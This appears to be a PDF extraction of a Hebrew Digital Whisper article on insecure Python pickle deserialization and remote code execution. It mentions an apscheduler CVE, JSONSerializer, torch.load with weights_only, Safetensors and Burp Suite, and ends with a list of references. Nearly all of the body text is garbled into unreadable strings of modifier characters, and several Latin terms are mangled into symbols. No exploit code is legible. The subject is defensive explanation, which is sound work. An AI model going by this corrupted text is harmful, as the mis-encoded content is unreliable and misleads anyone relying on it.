˪˞ ˦ˮ˧ˣ˲ˡˮ˞ˢ  ˷ ˧ˠ˶ˢ Υ 

 

˸˰˩ ˪˩ˣˮ  ˸ˣ˞˶˪  ˸˞ ˳˟ˣ˵ˢ ˧ˮˣˡˤˢ ˦˵˧ˣ˶˲˟  ˣˮ˪˷   ˸ ˣ˰˴ˬ˞˟ Ŏŀǘ ǇǿƴΦǘȄǘ ˢ˧˵˧˸˟ ˪˷  ˦ ˵˧ˣ˶˲ˢ ˸˶˷˟ Η 

˶ˬˣ˪˩ Σˢ˵˶ˤˢˢ ˣˮ˪˷ ˢ˴˧˶ˢ  ˸˞ ƻǎΦǎȅǎǘŜƳόϦǿƘƻŀƳƛ Ҕ ǇǿƴΦǘȄǘϦύ  ˢ˥˪˴ˢ˟  ˪˰ ˸˩˶˰ˬˢ  ˪ ˷ ˭˟˶ˣ˵ˢ Φ 

 

˞ˬˠˣˡ ˸˲˯ˣˮ  ˠ˞˟ˬ ˧˦ˮˣ˞˟ 

 ˸ ˶ˠ˯ˬ˟   ˸ ˧ˮ˩ˣ˸   ɣ ˞˟  ˧˦ˮˣ˞˟  ˧˸˰˴˧˟  ˢ˵˧ˡ˟   ˪ ˷  ˢˬ˶ˣ˲˦˪˲  π˪Workflow Orchestration   s ˟ˣ˸˩˷   ˟-  

Python  Φ˧˸ˣˣ˴  ˢ˦˞ˡ  ˠˮ˞ϥˠˮ˧˶˧ˮ  ˣ˞  ˯˲ˣ˞˟ˡ  ˫˧˷ˬ˸˷ˬ  ˢˬ˶ˣ˲˦˪˲˟  ˣˤˢ  ˧ˡ˩   ˭ ˬˤ˸˪  Σ˶˦ˮ˪  ˳˧˲ˢ˪ˣ  ˫˧ˮ˧˧˪˲˧˧˲  Φ

˸˩˶˰ˬˢ  ˣˤˢ   s ˴ˣ˲ˮ  ˡˣ˞ˬ  ˸ˣ˟˧˟˯˟   ˭ ˷˵ˡˣ˶˲  ˷˧ˣ  ˢ˪  ˪˰ˬ  р  ˭ˣ˧˪˧ˬ  ˸ˣˡ˶ˣˢ  ˷ˡˣ˥˟  Φ˞˧ˢ  ˨˶ˡ˟  ˪˪˩   ˸ ˞˴ˬˮ   ˪ ˰  

˸˧˸˷˸   ˷ ˧˷ ˢ˪   s ˷˧ˠ ˢ˶˧˷˧   ˧ ˯˧˯˟˪ ˫˧ˮˣ˸ˮ Σ˸ˣ˞˷˶ˢ  ˭ˮ˰  l ˣ˰ˣ ˫˧˟˞˷ˬ   ˫ ˧˧˦˧˶˵ ˭ˣˠ˶˞˪Φ   

 ˭ ˣ˧˯˧ˮˢ ˭ˣ˷˞˶ˢ  ˧ ˪˷ ˞˪  s ˧ˢ  Ϧ ˞ ˣ˴ˬ˪ RCE Ϧ ˸ ˩˶˰ˬ˟ ˸ˣ˰˴ˬ˞˟ pickle Φ ˞ ˪˞ ˢ˪˥˸ˢ˟ ˦ˣ˷˲ ˧˸˧˴˶  ˭˧˟ˢ˪   ˨ ˧˞  

ˢˬ˶ˣ˲˦˪˲ˢ ˸˪ˢˮˬ ˸˶˧ˬ˷   ˸ ˣ˧˴˶˦˯˵˶ˣ˞ ˨˧˞ˣ ˨˧˪ˢ˸ ˡ˥˞ ˨˷ˣˬ  ˸ ˞ ˦˪˲ ˫˧ˮˣ˸ˮˢ ˪˷  ˨˧˪ˢ˸  ˶˥˞ Φ 

 

˧˸˞˶˵  ˸ ˞   s ˧˴˦ˮˬˣ˵ˣˡˢ  ˢ˶˞˧˸˷  ˭ˣˮˠˮˬ  ˸ ˶˧ˬ˷˪   ˸ ˣ˞˴ˣ˸  x ˟˷  ˧˩˶˰   ˶ ˤ˥ˢˢ   ˪ ˷   ˸ ˣˬ˧˷ˬ   ˫ ˧˩˧˪ˢ˸ˣ  ˫˧˶˟ˣ˰  
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ˢ˧˴ˤ˧˪˶˧˯  ˫˧˟˸˩ˮˣ  ˡ˪˞˯˧˧˟ˢ˦  ˸˶˷˟  Φ˦ˬ˶ˣ˲ˢ  ˪˷  ˳˟ˣ˵  ˢ˞˴ˣ˸ˢ  ˶ˣˬ˷ˢ  ˞ˣˢ   ˨ ˬ˯ˬ  json  ˪˧˩ˬ˷   ˧ ˮ˷  

˸ˣ˥˸˲ˬ ˫˧˧˷˞˶ ˣ˞˶ˮ˷  ˨˶˰˟ ˢ˩˩Υ 

 

 

ˢˡ˷  πsƳŜǘŀŘŀǘŀ  ˶˧ˡˠˢ˷  ˨˧˞  ˰˴˟˪  ˸˞  ˢ˧˴ˤ˧˪˞˧˶˯ˢ  ˪˷  ˡˡˣ˵ˬˢ  ˸˶˧˶˟˟  ˪ˡ˥ˬˢ   ˞ ˣˢ  ǇƛŎƪƭŜ  Η˨˶˰ˢ   s ˤˢ  

˞˪  ˟˷ˣ˥ˬ  ˡ˴˟  ˸˶˷ˢ  Σ˞˪˞   ˶ ˟ˣ˰  ˵˪˥˩  ˦˵˧˧˟ˣ˞ˬ  ˨˶ˡ   sπ!tL  Φ ˫ ˧˷ˬ˸˷ˬ  ˫˧˪ˣ˩˧  ˶ˣ˥˟˪  ˫ˠ  ˢˡ˷˟   ˶ ˥˞  

˪˧˰˲˧˷ ˭ˣˮˠˮˬ  ˢ˧˴ˤ˧˪˞˧˶˯ˡ  ˶˥˞ Σ˪˟˞  ˸˶˧˶˟ ˪ˡ˥ˬˢ ˢ˵˧˪ˡˢ ˧˪ ˢ˶ˣˮ Φ 

˟˪˷˟  ˢˤˢ  ˢˡ˪ˣˮ  ˧˪  ˢˤ˸ˣ˲˧ˢ  ˧˸˧˴˶˷  ˭ˣ˥˟˪  Φ˫˞  ˢˡ˷   sπƳŜǘŀŘŀǘŀ  ˥ˣ˸˲  ˢ˟˧˸˩˪  ˶ˣ˟˰  ˷ˬ˸˷ˬˢ   ˭ ˸˧ˮˣ  

˶˧˟˰ˢ˪  ˣ˸ˣ˞   ˟π!tL  Σˢˬ˶ˣ˲˦˪˲ˢˣ  ˸˰˴˟ˬ  ˢ˧˴ˤ˧˪˞˧˶˯ˡ   ˪πƳŜǘŀŘŀǘŀ  Σ˷˧  ˣˮ˪  ˭˞˩  ˢ˷˪ˣ˥  ˢ˪ˣ˪˰˷   ˸ ˣ˧ˢ˪  

˸˪˴ˣˮˬ Φ 

˨˶ˣ˴˪   ˸ ˵˧ˡ˟   s ˤ˸ˣ˲˧ˢˢ  ˧˸˥˸˲  н  ǿƻǊŦƭƻǿǎ   ˶ ˷˞˩   l ˥˞  ˫ˢˬ  ΣπsǿƻǊƪŦƭƻǿ   ˪ ˷   ˭ ˟˶ˣ˵ˢ  ˶˷ˣ˵ˬ  π˪ǿƻǊƪŦƭƻǿ  

˪˷ ˱˵ˣ˸ˢ  ˨˷ˣˬˣ ˸˞ sπƳŜǘŀŘŀǘŀ ˣ˪˷  Φ 

˧˸˯˲˸  ˸˞  ˢ˷˵˟ˢ  ˸˥˧˸˲˪  ǿƻǊƪŦƭƻǿ  ˸ˣ˰˴ˬ˞˟  ōǳǊǇ ǎǳƛǘŜ  ˧˸˶˴˧ˣ  ˸˷˵˟˟  th{¢  ˸˞  πs ǿƻǊƪŦƭƻǿ   ˪ ˷  

˱˵ˣ˸ˢ  ˫˰ ˸ˣˡ˷ˢ ˫˧˧ˮˣˡˤˢΦ 

 

 ˭ ˣˣ˧˩ˬ  ˨˶ˡ˟˷   ˪ ˪˩  ˭˧˞   x ˮ˪  ˢ˷˧ˠ  ˢ˶˧˷˧  ˟˷˥ˬ˪   ˪ ˷  ˸˶˷ˢ  Σ ˰ ˴˟ˮ   ˸ ˲˵˸ˬ  {{wC  ˧ˡ˩  ˵ˣˡ˟˪  ˫˞  ˭˸˧ˮ   ˳ ˧˶ˢ˪   l ˣ˵  

˧˸ˣ˶˧˶˷  Φˢ˷˰ˮ  ˸˞ˤ  ˸ˣ˰˴ˬ˞˟  ˸˶˧˴˧  ˸˶˷  ˫˰  ˫˧ˠˣ˪  ˨˶ˡ  ƘǘǘǇΥκκŀǇǇΦƛƴǘŜǊŀŎǘǎƘΦŎƻƳ  ˸˵˲˯ˬ˷  ˣˮ˪   ˶ ˸˞  

 ˪ ˣ˩˧˷   ˪ ˟˵˪  ˸ˣ˷˵˟   ˸ ˣ˧ˮˣ˴˧˥   s ˷ˣ˰ˣ  ˭ˢ˪  ˠˮ˧ˠˣ˪  Φ ˸ ˰˩   s ˷˰ˬ˪   ˪ ˩   ˸ ˷˵˟  I¢¢t   ˥ ˪˷˧˸˷   ˸ ˟ˣ˸˩˪   x ˤˢ   ˱ ˯ˣˣ˸˸  

ˠˣ˪˪  ˣˮ˪˷ Φ 
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 ˶ ˥˞˪ ˭˩ˬ ˧˸˴˶ˢ  ˸ ˞ sπǿƻǊƪŦƭƻǿ ˡ˴˟ ˪˷ ˭˟˶ˣ˵ˢ ˧ˡ˩  ˭ˣ˥˟˪ ˸˞ ˢˤ˸ˣ˲˧ˢˢ Υ 

 

 

˯ˮ˩˧ˮ  ˶ ˸˞˪ ˢ˞˶ˮˣ Υ 

 

 ˭ ˣˣ˧˩ˬ   x ˮ˪˟˧˵˷   ˸ ˷˵˟  D9¢   ˶ ˠˣ˪˟  ˸˶˷˟   x ˮ˪˷  Σˣˮ˥ˮ˞   ˫ ˧˰ˡˣ˧  ˣˮ˥˪˴ˢ˷   ˞ ˧˴ˣˢ˪  ˪˰ˣ˲˪  ˸˞  πs{{wC   s ˥˪˴ˢ˟  Σ

˭˞˩ˬˣ  ˣˮ˞  ˫˧˵˧˯ˬ  ˢ˴˶ˢˢ˷  ˪˷  ˡˣ˵ˢ  ˣˮ˪˷  ύw/9  όˢ˶˟˰  ˢ˥˪˴ˢ˟  ˭˩˪ˣ  ˭˸˧ˮ  ˢ˧ˢ˧   ˞ ˧˴ˣˢ˪  ˪˰ˣ˲˪  ˫ˠ  ˪˩   s ˲˵˸ˬ  

˸˶˥˞  ˪˷ ˸˴˶ˢ   l ˣ˵ ˵ˣ˥˶ˬ Η 
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˨˧˞ ˭ˮˣˠ˸ˢ˪ ˸ˣ˲˵˸ˢˬ ǇƛŎƪƭŜ  

 

 

 ˶ ˟ˡˢ   ˭ ˣ˷˞˶ˢ  ˯ˡˮˢˬ˷   ˟ ˣ˦ ˪˞ˣ˷  ˸ ˞  ˣˬ˴˰   ˞ ˣˢ˷˩   ˶ ˥ˣ˟ ˢ˧ˠˣ˪ˣˮ˩˦˟   ˧ ˢ˷˪˩  ˞˧ˢ  ς   ˪ ˧˟˷˟   s ˬ   ˧ ˮ˞   ˨ ˧˶˴   ˸ ˞  

ˢˤ  Κˣ˞  ˥ˣ˯˧ˮ˟  ˶˸ˣ˧  ˭˧ˡ˰   ς  ˫˞ˢ  ˧ˮ˞  ˸˴˞˟  ˨˧˶˴  ˸˞  ˪˩  ˢˬ  ˢ˧ˠˣ˪ˣˮ˩˦ˢ˷  ˣˤˢ  ˸˶˷˲˞ˬ  ˧˪   ˸ ˣ˷˰˪  

ύhttps://en.wikipedia.org/wiki/You_aren%27t_gonna_need_it  Κό˫˞ˢ  ˷˧  ˨˶ˡ  ˢ˦ˣ˷˲  ˶˸ˣ˧  ˠ˧˷ˢ˪   ˸ ˞  

ˢ˸ˣ˞ ˢ˞˴ˣ˸ˢ  Κ 

˫˞  ˷ˣˬ˧˷ˢ  ˪˷  ǇƛŎƪƭŜ  ˞ˣˢ  ˪˧˟˷˟  ˶˧˟˰ˢ˪  ˦˵˧˧˟ˣ˞  ˦ˣ˷˲  Σˤ˞  ˡˣ˞ˬ  ˶˧˟˯  ˥˧ˮˢ˪  ˵ˮˣ˲˷  ϥjson.loads   ˸ ˧ˮ˟ˣˬ  

˪˷ ˭ˣ˸˧˧˲  ˥ ˧˪˴˸ ˸ˣ˷˰˪  ˸ ˞  ˢ˩˞˪ˬˢ ˢ˶ˣ˴˟ ˢ˟ˣ˦   ˞ ˧ˢˣ ˧˪˩ˢ ˫˧˞˸ˬˢ  ˢˬ˧˷ˬ˪ Φ 

˪˟˞  Σ˫˞  ˣˮ˦˪˥ˢ  ˞˪˷  ˷ˬ˸˷ˢ˪  π˟pickle   ˫ ˧˶˵ˬ˟   ˫ ˢ˟  ˣˮ˥ˮ˞  ˫˧˩˧˶˴  ˸˞  ˸ˣ˧˪ˮˣ˧˴˵ˮˣ˲ˢ  ˢ˪˷  Σ ˨ ˧˶˴   ˫ ˧˷˪  

˟˪   x ˮ˥ˮ˞˷  ˞˪  ˫˧˶ˣ˧   x ˮˬ˴˰˪   ˪ ˠ˶˟  ˫˧˰˴˟ˬˣ   ˪ ˩   ˧ ˮ˧ˬ  Ϧ˫˧˲˵˰ˬ  Ϧ˫˧ˬˣ˵˰  π˪pickle  Φ ˨ ˩   ˪ ˷ˬ˪   ˧ ˸˞˴ˬ   ˸ ˞   s ˷˪ˣ˥  

CVE-2026-31072  ˸˧˧˶˲˯˟  ˭ˣ˸˧˧˲  apscheduler  Φˢ˷˪ˣ˥ˢ  ˫ˠ  ˞˧ˢ  ˪˷  ˢ˧˴ˤ˧˪˞˧˶˯ˡ  ˭ˣˮˠˮˬ˟  ˟˸˩ˮ˷   l ˥ˣ˧ˬ˟  

 ˶ ˣ˟˰  ˢ˧˶˲˯ˢ  ˞˶˵ˮ˷  JSONSerializer    Φ s ˧˶˲˯ˢ  ˢ˰˧˴ˢ   ˶ ˟˰˟   ˭ ˣˮˠˮˬ  pickle   ˞ ˴ˬˮ˷   s ˟   ˨ ˞   ˶ ˡˠˣˢ   ˭ ˩ˣ˯ˬ˩  

˷ˣˬ˧˷˪   ˞ ˪ˣ  ˨ˬ˸ˮ  ˶˸ˣ˧  ˣ˞  ˷ˬˣ˷ˬ  ˡˣ˵˟  ύdeprecated  Φόˤ˞  ˢ˲˧˞  ˢ˲  ˢ˧˰˟ˢ  Κ˭ˣˮˠˮˬˢ˷  ˪˷  JSONSerializer  

ˡ˟ˣ˰ ˯˪˩˸˟  x ˬ˩ ˭ˣˮˠˮˬˢ ˪˷  pickle  ˶ ˷˲˞ˬˣ ˵˧˶ˤˢ˪   x ˩˶ˡ  ˸ˣˡˣ˵˲  ˸ ˣ˧ˮˣˡˤ ˢ˶ˣ˴˟ ˢˬˣˡ  Φ 

ˢ˧˶˲˯˷˩   s ˦˧˪˥ˬ   ˥ ˸˲˪  Ϧ ˱ ˧˪˥˸   ˥ ˣ˦˟  π˪pickle  Ϧ ˸ ˣ˥ˣ˩˟  ˢˬ˴˰  Σ˞˧ˢ  ˢ˪ˣ˪˰   ˪ ˣ˰ˮ˪   ˸ ˞   ˸ ˪ˡˢ  ˸˧ˬˡ˵ˢ   ˪ ˟˞  

˶˧˞˷ˢ˪  ˸˞   ˥ ˸˲ˬˢ   ˸ ˥˸ˬ  ˥˧˦˷˪  Φˢ˧˲ˣ˯ˣ˪˧˲ˢ  ˧˪˷  ˸˶ˬˣ˞   ˞ ˪˷   ˨ ˧˶˴  ˞˧˴ˬˢ˪  ˸˞   ˪ ˠ˪ˠˢ   ˯ ˲˞ˬ   ˧ ˞ˡ˩ˣ  

˷ˬ˸˷ˢ˪  ˸ˣˮˣ˶˸˲˟ ˫˧ˬ˧˧˵ ˫˞ ˫ˢ ˫˧˟ˣ˦ ˵˧˲˯ˬ  Φ 
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˧ˡ˩  ˢ˷πJSONSerializer  ˥˧˪˴˧  ˫˧˵ˢ˪  ˢ˧˧˥˸˪  ˫˧˦˵˧˧˟ˣ˞  ˫˧˟˩˶ˣˬ  ˫˧˪ˬ˯ˬ˷  ˫˧˶ˠ˧˶˦  ˪˷  ˸ˣˬ˧˷ˬ  Σ s ˮ˟ˮ 

ˢ˧˶˲˯˟  ˭ˣˮˠˮˬ  ˢ˵˥ˬ˷  ˸˞  ˸ˣˠˢˮ˸ˢˢ  ˪˷  ǇƛŎƪƭŜ  Φ˪ˡ˟ˢˢ   l ˧˥˧ˢ  Κ˪˰  ǇƛŎƪƭŜ  ˫˪ˣ˩  ˫˧˶ˬˣ˷  Φ˷˧  ˣ˧˪˰   ˸ ˣ˶ˢˤ˞  

˪˩˟  ˢˮ˧˲   ˪ ˷   l ˣ˰˧˸ˢ  ˧ˬ˷˶ˢ  ˧˪˩ˣ  ˢ˵˧˶˯   ˪ ˷  SAST  ύ x ˬ˩  bandit   x ˞  SEMGREP  ό˶˷˧  ˣ˴˧˲˵˧   x ˧˟ˠ˪  ˢ˶ˣˮ   s ˬˣˡ˞  

ύ˫ˠ   ˫ ˞  ˢˤ  false positive  ˢ˟˶ˢ  ˫˧ˬ˰˲  Φό˸ˬˣ˰˪  ˸˞ˤ  ΣπsJSONSerializer   ˧ ˬ˧ˮ˲ˢ  ˶˞˷ˮ  ˸˥˸ˬ   ˶ ˞ˡ˶˪  ˧˩   ˱ ˞  

ˡ˥˞  ˞˪ ˶˧˩ˬ ˸˞ ˶˟ˡˢ ˢˤˢΦ 

˫˞ ˨˩ Σˢˬ  s ˧ˢ  ˭ ˣ˶˸˲ˢ ˭ˣ˩ˮˢ  ˢ˶˵ˬ˟ ˢˤˢ  Κ 

˭ˣ˶˸˲ˢ ˞ˣˢ  ˷ˬ˸˷ˢ˪  π˟pickleύ Ηˣ˞  l ˥˞˟ ˫˧˲˧˪˥˸ˢ ˫˧˥ˣ˦˟ˢ  ˣ˪˷ ό 

˫˞  ˢ˶ˣ˦˵˦˧˩˶˞ˢ  ˪˷  ˢ˧˴˵˧˪˲˞ˢ  ˫˩˪˷  ˸˟˧˧˥ˬ  ˶ˣˬ˷˪  ˶ˤ˥˷˪ˣ  ˫˧˦˵˧˧˟ˣ˞  ˫˧˧ˬˮ˧ˡ  Σˢ˶˧˥˟ˢ  π˟pickle  

ˢ˲˧ˡ˰   ˪ ˰ ˧ˮ˲ ˥ˣ˸˧˲  ˸ ˣˮˣ˶˸˲ ˫˧˧˞ˬ˴˰ ˯˲˞ˬ Φ˫ˠ ˭ˡ˧˰˟ x˟  ˭˸˧ˮ ˠ˪ϥ˦˶ˮ  ˭ ˣˬˢ ˡˣ˵  ˫˰ AI ˶ˢˬ ˡˣ˞ˬ Φ 

˫˞   ˪ ˩˸˯ˮ  ˪˰  ˸ˣ˧˶˲˯   x ˬ˩  PyTorch  Σˢ˞˶ˮ  ˭ˢ˷   x ˷ˬ˸˷ˢ   ˟π ǇƛŎƪƭŜ  ˸˶˧˶˟˩   ˪ ˡ˥ˬ   ˨ ˷ˬ˟   ˫ ˧ˮ˷   ˧ ˡ˩   ˶ ˣˬ˷˪  

˸ˣ˪˵˷ˬ   ˪ ˷  ˫˧˪ˡˣˬ  Φ ˶ ˟ˣˡˬ  ˢ˧ˢ  ˦ˣ˧˯˟  ˢ˥˦˟˞  ˧˩   ˱ ˵ˣ˸  ˪ˣ˩˧   s ˧ˢ   ˞ ˧˟˥ˢ˪   l ˣ˵  ˧ˮˣˡˤ  ˨ˣ˸˟  ˳˟ˣ˵   ˪ ˡˣˬ   ˪ ˷  

˸˷˶  ˫ ˧ˮˣ˶˧ˣˮ Σ˰ˠ˶˟ˣ ˶˵ˣ˥˷  ˫˧ˬ˸ ˢ˧ˢ ˳˧˶ˬ torch.load  Σ˟˷˥ˬˢ ˣ˪˷ ˢ˧ˢ ˳˶˲ˮΦ 

˧ˡ˩   ˶ ˣ˸˲˪  ˸˞ˤ  Σ s ˧˧˷˰˸ˢ  ˢ˪˴˲˸ˢ   ˧ ˸˷˪  ˸ˣ˷˧ˠ  ˸ˣ˧ˤ˩˶ˬ  Υˢ˷˧ˠˢ   ˸ ˧ˮ˟ˣˬˢ  ˢ˪˧˟ˠˬˢ  ˸˞  ǇƛŎƪƭŜ  ˫˧ˮ˲˟ˬ   ˪ ˰  

 ˧ ˡ˧  ˦˯˧˪˦˧˧ˣ  Σ ˧ ˲˩   s ˶ˣ˵˷   ˫ ˣ˧ˢ   ˭ ˲ˣ˞˟   ˧ ˟˧˦˪ˣ˲˧ˡ   ˪ ˷ˬ˪  ˫˰   ˪ ˠˡˢ  weights_only=True   ˰ ˧˲ˣˢ˷   ˪ ˥ˢ   ˞ ˯˶ˠˬ  

нΦс  ˪˷  PyTorch  ˪˰ˣ˲ˣ  ˪˩˟  ˢ˞˧˶˵  ˪˷  torch.loadΣ  ˪˧˰˲ˬ˷  ˧˶ˣ˥˞ˬ  ˫˧˰˪˵ˢ  pickler  ˫˞˸ˣˬ   ˸ ˧˷˧˞   ˫ ˯ˣ˥ˢ  

˸ˣ˧˴˵ˮˣ˲   x ˬ˩  os.system  ˶˷˞ˬˣ   ˵ ˶   ˫ ˧˯ˣ˲˧˦  ˫˧˧˦ˬ˸ˬ   ˫ ˧˶ˡˠˣˬ  ˷˞˶ˬ  Φˢ˩˩   ˫ ˞˷  ˷ˬ˸˷ˬ  ˢ˴ˣ˶   ˸ ˣˮ˷˪   ˸ ˞  

 ˸ ˣ˶ˡˠˢˢ ˣ˪˞ˢ ˞ˣˢ ˟˧˧˥  ˸ˣˮ˷˪ ˭˲ˣ˞˟ ˧ˮˡ˧  ˸˞ ˸ˣ˶ˡˠˢˢ  ˞˪˪ ˸ˣ˥ˣ˦˟ Φ 

ˡ˴ˬ  ˧ˮ˷  ˢˮ˷˧  ˢ˷˧ˠ  ˢ˰˧˴ˬˢ  ˸ˣ˟˧˦ˮ˶˦˪˞  π˪ ǇƛŎƪƭŜ  Φ˭˧˟  ˸ˣˮˣ˶˸˲ˢ  ˣ˪˪ˢ  ˸˦˪ˣ˟   ˸ ˧˧˶˲˯  Safetensors   ˪ ˷  

Hugging Face  Σˢ˟˸˩ˮ˷  π˟Rust  ˸˰ˮˣˬˣ  ˸˴˶ˢ  ˡˣ˵  ˪˰  ˧ˡ˧  ˸˶˧ˬ˷  ˫˧˩˶˰ˬˢ  ˡ˟˪˟  ˞˪˪  ˸˪ˣ˩˧   ˸ ˪˰˲ˢ  

˸ˣ˧˴˵ˮˣ˲  ˶ˡˮ˞ˡ  Σ ˭ ˩ˣ  ˧˪˩   x ˬ˩  MessagePack  ˵˲˯ˬˢ  ˦ˬ˶ˣ˲  ˧˶˞ˮ˧˟  ˶˧ˢˬ   ˥ ˣ˦˟ˣ   ˞ ˪˪   ˸ ˵˶ˤˢ   ˸ ˣ˵˪˥ˬ  

˸ˣ˧ˬˮ˧ˡ  Φ 

 

 

 

 

 

http://www.digitalwhisper.co.il/
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 ˫ ˣ˩˧˯ 

˫˧˷˶˸ˢ ˞˟ˢ ˧˸˶˴˧˷ ˟ πDraw.io  ˫ ˩˯ˬ ˢ˶ˣ˴˟  s ˟ˣ˦ ˨˧˞ ˷˧ ˠˣˢˮ˪  ˫ ˰ ǇƛŎƪƭŜ Υ 

 

 

˸ˣˡˡˣˬ˸ˢˢ  ˫˰  ˸ˣ˲˵˸ˢ  ǇƛŎƪƭŜ   ˸ ˷˶ˣˡ  ˷˞˶˟  ˢˮˣ˷˞˶˟ˣ  ˰ˮˬ˧ˢ˪  ˪˩˩  ˶˷˲˞ˢ   ˷ ˣˬ˧˷ˬ  π˟pickle   ˸ ˟ˣ˦˪  

˸˶˟˰ˢ  ˰ ˡ˧ˬ ˭˸˧ˮ˷˩ˣ  Σ˷ˬ˸˷ˢ˪ ˫˧˦ˬ˶ˣ˲˟  ˫ ˧˥ˣ˦˟ ˫˧˦ˣ˷˲ˣ ˣˬ˩ json  Φ 

˫˞  ˢ˶ˣ˦˵˦˧˩˶˞ˢ  ˸˟˧˧˥ˬ  ˢ˧˴ˤ˧˪˞˧˶˯  ˪˷  ˫˧˦˵˧˧˟ˣ˞  ˫˧˟˩˶ˣˬ  Σ ˟ ˦ˣˬ   ˶ ˣ˥˟˪  ˢ˟˧˦ˮ˶˦˪˞˟  ˪ˢˮ˸˷   ˸ ˞  

ˢˮˠˢˢ ˧ˮ˲ˬ ˸˶ˡ˥ˢ ˸ˣˡˣ˵˲   ˭ ˲ˣ˞˟ ˢˮ˟ˣˬ  Φ 

˫˞   ˶ ˟˩  ˪˩˟   ˸ ˞ˤ  ˫˸˦˪˥ˢ  ˶ˣ˥˟˪  π˟pickle  Σˣ˷ˬ˸˷˸  ˧ˮˣˮˠˮˬ˟  ˢˮˠˢ  ˫˧ˮ˟ˣˬ  Σ ˭ ˣˠ˩  ˷ˣˬ˧˷   ɣ ˮ˧˦˯˧˪˦˧˧ˣ˟  

˶˷˞ˬ   ˥ ˸˲˪  ˸ˣˮˣ˶˸˲   Ϧ ˫ ˧˧˞ˬ˴˰  Ϧ˶˧˟˯˷  ˥˧ˮˢ˪   x ˶˴˧˷  ˸ˣ˴˶˲   s ˥˦˟˞   ˸ ˣ˧ˣ˟˥   ˞ ˪ˣ  ˸ˣ˶˩ˣˬ  Φˣ˲ˣ˯˟   ˪ ˷   ˫ ˣ˧  Σ

˥˸˲ˬˢ  ˢˮˠˢ˪  ˢ˲  ˭ˣˬ˦  ˸ˬˮ˲ˢ˟  ˵ˣ˥ˢ  ˧˯˧˯˟ˢ  ˪˷  ˸ˣˮ˩˸  ˥˦˟ˣ˞ˬ  ˶ˬˣ˞˷  ˶ˣ˯˞˷  ˫ˣ˷˟  ˫˧ˮ˲   ˭ ˲ˣ˞ˣ  

˨ˬ˸˯ˢ˪   ˪ ˰ ˦˪˵  ˷ ˬ˸˷ˬˢˬΦ 

http://www.digitalwhisper.co.il/
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˪˰  ˶ ˟˥ˬˢ 

˭˶˧˪  ˢ˟ˣˡˮ  ς  ˵˧ˮˬ˧˞ˣ˪˧ˬ  Σ˥˸˲ˬ  ˢˮ˩ˣ˸  ˶˵ˣ˥ˣ  ˸ˣ˷˪ˣ˥  Φ˸ˣ˶ˬ˪  ˶ˣˬ˞ˢ  ˶ˬ˞ˬ˟  Σ˰ˡˣ˧  ˸ˣˮ˟˪  ˞˪  ˰˶   ˸ ˣˮ˥˪ˣ˷  

˫ˠ ˧˪˟ ˸˶˟ˣ˥ ˸ˣ˞˶ˣˢˢ  Σ˟˟ˣ˥ ˢ˲˵ Σ˶˷ˣ˩ Σ˧˵˯  ˢ˯ˣϦ˩ ˱˧˩   ˧ ˸˧˞ ˸ˣ˟˧˯ˬ˟ Φ 

˫˧ˮˬˤˣˬ  ˶ ˣ˴˧˪ ˶˷˵   ˸ ˣ˞˶˪ˣ ˢˬ ˧ˮ˞ ˢ˷ˣ˰ Υ 

˭˧˞ˡ˵ˮ˧˪ ΥƘǘǘǇǎΥκκǿǿǿΦƭƛƴƪŜŘƛƴΦŎƻƳκƛƴκƴŜŘƭƛǊ 

 ˟ ˞ˢ˦˧ˠ ΥƘǘǘǇǎΥκκƎƛǘƘǳōΦŎƻƳκƴŜŘƭƛǊ 

˸ˣ˶ˣ˵ˬ  ˰ ˡ˧ˬ 

¶ https://docs.python.org/3/library/pickle.html 

¶ https://cxnsxle.hashnode.dev/deserialization-vulnerability 

¶ https://portswigger.net/web-security/deserialization 

¶ https://web.archive.org/web/20071030183649/http://forum.valhallalegends.com/index.ph

p?topic=11756.0 

¶ https://gist.github.com/amtal/bf941bde443eefc7d4626fd439d7f480 

¶ https://www.reddit.com/r/diablo2/comments/1md2494/somebody_asked_how_many_line

s_of_stats_an_item/#lightbox 

¶ https://owasp.org/www-community/vulnerabilities/Deserialization_of_untrusted_data 

¶ https://davidhamann.de/2020/04/05/exploiting-python-pickle/ 

¶ https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Insecure%20Deserializa

tion/Python.md 

¶ https://nedbatchelder.com/blog/202006/pickles_nine_flaws 

¶ https://github.com/advisories/GHSA-jqmc-fxxp-r589 

¶ https://github.com/tendenci/tendenci/security/advisories/GHSA-339m-4qw5-j2g3 

¶ https://snyk.io/blog/guide-to-python-pickle/ 

¶ https://www.blackduck.com/blog/python-pickling.html 

 

 

http://www.digitalwhisper.co.il/
https://www.linkedin.com/in/nedlir
https://github.com/nedlir
https://docs.python.org/3/library/pickle.html
https://cxnsxle.hashnode.dev/deserialization-vulnerability
https://portswigger.net/web-security/deserialization
https://web.archive.org/web/20071030183649/http:/forum.valhallalegends.com/index.php?topic=11756.0
https://web.archive.org/web/20071030183649/http:/forum.valhallalegends.com/index.php?topic=11756.0
https://gist.github.com/amtal/bf941bde443eefc7d4626fd439d7f480
https://www.reddit.com/r/diablo2/comments/1md2494/somebody_asked_how_many_lines_of_stats_an_item/%23lightbox
https://www.reddit.com/r/diablo2/comments/1md2494/somebody_asked_how_many_lines_of_stats_an_item/%23lightbox
https://owasp.org/www-community/vulnerabilities/Deserialization_of_untrusted_data
https://davidhamann.de/2020/04/05/exploiting-python-pickle/
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Insecure%20Deserialization/Python.md
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Insecure%20Deserialization/Python.md
https://nedbatchelder.com/blog/202006/pickles_nine_flaws
https://github.com/advisories/GHSA-jqmc-fxxp-r589
https://github.com/tendenci/tendenci/security/advisories/GHSA-339m-4qw5-j2g3
https://snyk.io/blog/guide-to-python-pickle/
https://www.blackduck.com/blog/python-pickling.html
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 l ˣ˵ ˸˴˶ˢ˪ ˢ˧˶˲ˬ˧˞ˬ 

˸˞ˬ  ˶ ˣ˞ ˶˟ ˭˸ˮˣ˧ 

 

 s ˬˡ˵ˢ 

˵˥˷ˬˢ  /ƛǾƛƭƛȊŀǘƛƻƴ   ˧ ˶ˣ˵ˬˢ  ˢ˧ˢ  ˡ˥˞   ˧ ˵˥˷ˬˬ  ˢ˧ˠ˦˶˦˯˞ˢ   ˫ ˧ˮˣ˷˞˶ˢ  ˧ˮ˞˷  ˶˩ˣˤ  Φ ˧ ˸˧˪˧˟  ˸ˣ˰˷   ˸ ˣ˟˶  

